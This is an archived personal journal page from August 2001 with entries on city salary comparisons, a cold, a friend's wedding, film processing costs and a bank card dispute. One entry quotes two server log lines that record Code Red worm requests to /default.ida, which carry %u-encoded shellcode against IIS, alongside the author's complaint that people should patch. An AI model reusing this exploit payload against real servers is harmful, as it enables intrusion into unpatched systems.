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2001.august in transit
a lame attempt at a homepage by mark danielson

This is an archived journal page. For the latest entries, please check the homepage or the main journal page.

An interesting thread on MetaFilter today got me wondering about the city in which I live. The homestore.com Salary Calculator supposedly looks at one's income and where that person is living and figures out how much he or she would have to make to live equivalently in a different city. Of course, the regular warnings apply, but I thought it would be fun to check out. I started with a metropolis close to my heart, Chicago. According to the calculator, $100,000 in Minneapolis is equal to about $100,459 in Chicago. (Granted, an income of $100,000 is a completely laughable concept to me, but anyway.) Hmmm, not bad. So I decided to go and compare Minneapolis to some others:

  • Toronto: $119,961(US)
  • Vancouver: $113,628(US)
  • Miami: $110,698
  • Montréal: $110,128(US)
  • Denver: $108,162
  • Philadelphia: $108,030
  • Baltimore: $107,292
  • San Diego: $103,133
  • Dallas: $101,384
  • Pittsburgh: $101,115
  • === Minneapolis: $100,000 ===
  • Austin, TX: $99,369
  • Saint Louis: $99,254
  • Houston: $98,478
  • Kansas City: $97,437
  • San Francisco: $96,725
  • Atlanta: $96,633
  • Saint Paul: $96,117. Ahem.
  • New Orleans: 91,715
  • Boston: $91,616
  • Athens, GA: $88,754
  • Detroit: $85,014
  • Seattle: $79,990
  • Los Angeles: $72,177
  • Milwaukee: $70,423
  • Portland: $66,406

I find some of those results surprising, especially Portland. I only visited it once, but it seemed like a really nice town. I'm sure I'm overlooking a number of things, but from this somewhat arbitrary and superficial data, it would seem that the fine folks out there may be getting one of the best deals in the country. Boston and San Francisco caught me off-guard, too; I expected them to be pricier than Minneapolis. Anyway, a couple of conclusions: 1) Financially, it must suck to be Canadian, although I'm sure I'm ignoring health care and other things when I say that. 2) It must suck to be in Miami. But you knew that already. 3) Living in Chicago or Boston no longer seems as unreasonable as it once did. Not that I'm thinking about that. (This year.)

Well now, that was a completely useless waste of an hour.

I spent some of today and much of yesterday upgrading my site to XHTML 1.0, pretty much for the hell of it. It's pretty easy, really.

 ) ) ) 

Since I've been in nerd mode the past few days, I decided to download IE6 on my home computer. I browsed with it for a little while, yawned and ambled back to Netscape 6.1. Overall, for those of us stuck on Windows 98 it's not too different from 5.5. The image toolbar makes it really easy to download porn and the auto image resize feature isn't nearly as annoying as I expected it to be. That said, it doesn't seem to support acronyms, and that sorta sucks.

My memory is becoming more and more questionable.

First of all, if you've e-mailed me lately, sorry I haven't written back, my mind left when my cold set in. I'll reply shortly.

 ) ) ) 

Part of a conversation last night :

"I figure I've failed at two foreign languages, I might as well make it three."

"What ones have you failed at?"

"Spanish and ASL."

"You failed at Spanish?"


"But that's..."

"Yes, I know."

 ) ) ) 

Notes from yesterday: Spent most of my waking hours trying to recover from my cold, hanging around watching Rich rip up the road on Heather's Play Station and talking with interesting people at the birthday/graduation/moving party in the basement. Heather, Rich and I had dinner at at Sidney's: All three of us would've ordered the barbecue chicken pizza except I refused to order the same thing the other two were. During our brief walk there we decided that us single people needed to stick together. Rich said he's done with relationships. Heather was sort of mute on the subject. Me, well...

 ) ) ) 

Lots of phlegm and snot and explosive sneezing today. Sorta gross.

Well, my parents aren't visiting this weekend. There are two main causes for this: 1) Since Wednesday evening I've been battling some virus that doesn't look like it's going to go away anytime soon, and 2) My dad came down with an infection of his own that almost put him in the hospital. It's nothing serious, but we decided it would probably be best for the two of them to visit at some date when all of us are in healthier states.

One of the worst parts about being sick is when one's mind is in a weakened, medicated state just about any damn jingle can stick in it. Unfortunately, this is especially true of annoying TV ad music. I'm lucky I got any sleep last night.

 ) ) ) 

Film developing: $204.

 ) ) ) 

OK, that's it, the weddings need to stop.

Well, it's been a busy couple of days.

So Jason and Sarah got married. They're two of the most organized individuals I know, so it shouldn't be a surprise that their wedding turned out really well. The ceremony was traditional but by no means stuffy and the dinner afterwards, well, the dinner was something else. I could try to describe the celebratory, mildly drunk atmosphere present Saturday evening, but I think the photos will convey that better than words ever could. Whatever the case, I'm glad it all turned out so well for the two of them. They're wonderful people and were completely deserving of it.

In other news, it was sort of fun to be an usher. Brennan and I spent much of the afternoon commenting to each other how we got the easy job, and, hey, we got to sit down during the ceremony. Hanging out in River Falls after the dinner was interesting, too. Actually, "surreal" may be a better description. We were sitting in Bo's on Main Street when it struck me that I was in my college town, in one of the regular bars surrounded by people I went to school with. Almost everyone was drunk and the few that weren't lit were well on their way to being there. It all seemed normal and familiar, except it hadn't happened in years.

 ) ) ) 

Speaking of photos, I'm on track to spend an absolutely obscene amount of money on film processing. I took over 250 pictures with my SLR and with the help of Rich and Heather took a near-equivalent number of photos with my digital camera. Organizing the images is going to be a bitch. I'm not entirely sure how I'm going to do it, as this is the first time I've recorded an event using both formats. It may be some time before the photos get posted.

 ) ) ) 

Ate at Chino Latino with a bunch of friends last night. I'd heard a lot of bad things about the place, but it actually turned out to be fairly good. That said, their "street food from the hot zones" was revealed to be tepid at best. The phucket noodles--listed on the menu with a little firecracker icon--were not hot at all.

But, then again, this is Minnesota. I bet the Norwegians down water there by the gallon.

 ) ) ) 

From the "Two Times Is A Coincidence, Three Times Is A Trend" department: My parents are visiting this weekend. In itself that's nothing big, as they come up and visit every few months. However, this will be the third year in a row they'll be visiting during The Great Minnesota Get Together. That part was completely unplanned.

12:05a.m. It's raining outside, the thunder and lightning having passed maybe an hour ago. It would've been nice to have a covered porch to wander out onto, kick back and watch the show.

 ) ) ) 

Going along with my tendency to put things off until the last minute, it wasn't until about a half hour ago that I decided to wrap my present for Jason and Sarah's wedding, an event which happens to be about 12 and a half hours away. I picked up the wrapping paper at Target earlier this week while searching for an item on their registry. The paper was pretty cool, all bright and shiny and metallic. Unfortunately, it also turned out to be somewhat fraudulent. Heather was sitting on the couch reading as I set about wrapping the gift and happened to glance up as I started unrolling the paper. In my defense, she appeared to be as surprised as I was. At first there seemed to be a thin sheet of plastic protecting the paper, but as I kept twisting the spool an unwelcome truth became more and more evident. By three feet there was no denying reality.

I had purchased clear wrapping paper.

A number of questions came to mind, none of them of the happy variety. First and foremost, what in the world was the use of transparent wrapping paper? Secondly--and this was equally if not more important--where could I buy wedding paper at 11:30 on a Friday evening?

Thankfully, Walgreens was still open. As far as the first question, I guess I answered it when I decided to wrap the already-wrapped present in a layer of the clear paper. It actually turned out somewhat spiffy looking, if I do say so myself. Looking back, I do have a regret, though: Before covering the present in the wedding paper, I should've wrapped it in a couple layers of funny pages, Christmas and birthday paper. Ah well, maybe next time.

I just wonder who the next victims--er, couple to be wed--will be.

 ) ) ) 

Strange coincidence of the day: Last night I dreamt I was having a conversation about David Eggers of McSweeney's and his book A Heartbreaking Work of Staggering Genius. Then, earlier today, my roommate bought that book.


My roommate typically comes across as a friendly, passive person, but today I made the mistake of setting a loaded squirt-gun--aquired a few hours earlier at a company picnic--on a table a few feet away from where she was sitting. The next thing I knew I was half soaked, and when I made an attempt to grab the gun from her I was greeted by a foot being planted firmly in the middle of my chest. The resulting distance and the tactical disadvantage it placed me under resulted in a truce instead of a couter-strike.

 ) ) ) 

Well, it's been a busy week. It's not going to let up any time soon, either.

As said, today was my department's picnic. I took over 180 photos in less than three and a half hours, something I haven't done on a regular basis since I worked for a newspaper back in Northeastern Wisconsin. Anyway, tomorrow brings training in downtown Minneapolis and a wedding rehearsal in the evening. Saturday brings a wedding. Monday brings the beginning of a bunch of large projects at work and a dinner with a bunch of friends and their roommates. Next Thursday, Friday, Saturday and Sunday bring my parents on another visit to the Twin Cities. Next Friday brings more training, too.

And those are just the big things. I suppose I should try to get a lot of sleep on Sunday.

 ) ) ) 

"So, who's going on Monday?"

"Well, me, Katie, Beth, Beth--Beth's roommate--and maybe Rich."

"Rich would be good."

"So you're not the only guy?"



Now my friend Sarah is going, too. Rich better show up.

Ok, 10:45 at night, time for a little weekend review:

  • Fast-food restaurants visited: Baja Tortilla Grill, Steak Escape, Leean Chin.
  • Shirts bought at Marshall's and Norstrom Rack: 4.
  • Miles walked around the lakes and Lyndale Ave: About 14.
  • Ties bought at Marshall's: 1
  • Estimated wait time at Tucci Benucch: 70 minutes (Heather and I went to the food court instead)
  • Hours spent playing SimCity3K: 7
  • Hours spent surfing the web: My wrist hurts.

Well, I think that's enough navel-gazing for this evening.

 ) ) ) 

A little after 2:00 in the afternoon, feels like it's later. I suppose that's what I get for rising early enough to catch Sunday Morning. It's been a fairly lazy weekend so far--almost boring, perhaps--but it's given me the opportunity to get some things done: After way too long of a delay, the photos from Stadium Tour 2001 are up. I've been rummaging through my other photos as well. Hopefully the Album section will get more interesting as the month progresses.

For now, I'm off to Marshall's. The dress code changed at work, so my large collection of T-shirts doesn't do me much good anymore.

Saturday, 1:30 in the morning. I'm not sure why I'm awake, I'm not sure what I'm doing here in front of the computer. Hell, I'm not sure what I'm doing in general.

Although I liked it at first, after further consideration Planet Of The Apes was a bit of a disappointment. My main complaint was with the ending, which seemed both contrived and tacked on. Beyond that it was OK, and from a visual perspective was most definitely a very stunning film. Charlton Heston's cameo was pretty cool, too. But the ending, well, bah.

What a day. I could throw a vulgarity at it, but it's now the early evening, I'm on my dinner break, Dave Brubeck is in my ears and I may be seeing a movie later, so things are better. Still, what a day.

Here it is, in short form: Woke up still somewhat under the weather from my cold. Drove to work. Parked really far from my building due to parking lot repaving. Tried to use my checkcard in an ATM. Firstar told me it would work today; it didn't. Called Firstar. 800 number rings and rings and rings... And rings. No answer. Tried to log into my computer. Memory usage sitting at 100%, system crawling. Called support group. An hour later, I can log in. Can't access Firstar website. Call Firstar again. More ringing, no answers. Take off from work, drive to local bank. Road closed for construction. Detour. Bank tells me my card was canceled, I'll have to get a new one. Drive back to work, stop at Arby's on the way. Drive-thru guy turns head before giving me my change, drops it into thin air. (I caught the bills; most of the coins fell to and were left on the ground.) Get back to work. Late for meeting. Don't like the way meeting is going. Brief break. Call Firstar again, more ringing. Another meeting, dress code an issue. Get more projects. Call Firstar, manage to get a hold of someone who can take care of something. (My card should work tomorrow.)

Er, yeah.

 ) ) ) 

I'm getting sick of this shit: GET /default.ida? X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X %u9090 %u6858 %ucbd3 %u7801 %u9090 %u6858 %ucbd3 %u7801 %u9090 %u6858 %ucbd3 %u7801 %u9090 %u9090 %u8190 %u00c3 %u0003 %u8b00 %u531b %u53ff %u0078 %u0000 %u00=a HTTP/1.0" 404 384.

It seems to be doing a pretty good job of replacing this: GET /default.ida? N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N N %u9090 %u6858 %ucbd3 %u7801 %u9090 %u6858 %ucbd3 %u7801 %u9090 %u6858 %ucbd3 %u7801 %u9090 %u9090 %u8190 %u00c3 %u0003 %u8b00 %u531b %u53ff %u0078 %u0000 %u00=a HTTP/1.0" 400 328

People, patch your damn computers already.

Most of Sunday was spent in bed or on the couch trying to recover from whatever cold it is that's been going around. It was a pretty crappy day in general, although I did finally get to see Aliens all the way through.

Saturday was better. Sarah and I spent much of the afternoon wandering around the Uptown Art Fair, which wasn't nearly as crowded as it was last year. (I suspect the heat had something to do with that, although there didn't seem to be as many exhibitors as last year, either.) Later in the afternoon we met with some other friends to see Shakespeare In The Park's presentation of Romeo & Juliet. It was set in an 1860s mental institution, which may or may not have added to the story. Other than a nearby portable generator and the old hag who decided to wander across the stage, it was pretty good. Most of the rest of the day was spent inside amongst the air conditioners, doing things like watching short films on my computer.

 ) ) ) 

Yesterday ended on a sour note, one that makes me think I should reconsider my decision to shutter usbanksucks.net (yes, I own it). The grocery store rejected my check card and a call to Firstar (which bought US Bank and is taking its name) brought nothing but confusion. I called again this morning and it turns out they closed it after noticing some unusual charges on my card. Apparently my card was used to purchase some items off THE INTERNET, including something from some place called Register.com. I couldn't figure out why these charges (which I did make) caused them to block my card, as I make online purchases with it all the fucking time.

Well, it turns out they called my parents, even though I haven't lived with them for well over four years. (Why the hell do they still have that number? I've changed addresses with them at least three times, and I know they have my present number as they've called me at my apartment before.) Anyway, they got a hold of my dad, who apparently became quite belligerent with them. They couldn't verify the charges, so they closed the card.


The logical thing for me to do would be to change banks. It's just that doing so would be an incredible pain in the ass. My paychecks are put in through direct-deposit and I have a number of recurring bills that are automatically deducted from my account. I did try going with Wells Fargo once, but they somehow managed to lose my application and that was enough for me to decide to stay away from them.


Ever had a friend but somehow forgot how long you've known him or her? For example, you have a friend you think of as a high-school friend or a college friend, and then one night on the phone you realize you've know him or her since grade school? I had that happen to me last night. Strange how stuff like that can happen.

 ) ) ) 

General Motors hires Bob Lutz. Too bad they had to do this after they deciding to dump Oldsmobile.

 ) ) ) 

This is probably only funny to those who saw last week's episode of Futurama.

in transit—a lame attempt at a homepage since 1996—is a service of Mark Danielson and nonlocality.com.
© 1996-2004 Mark Danielson. All rights reserved.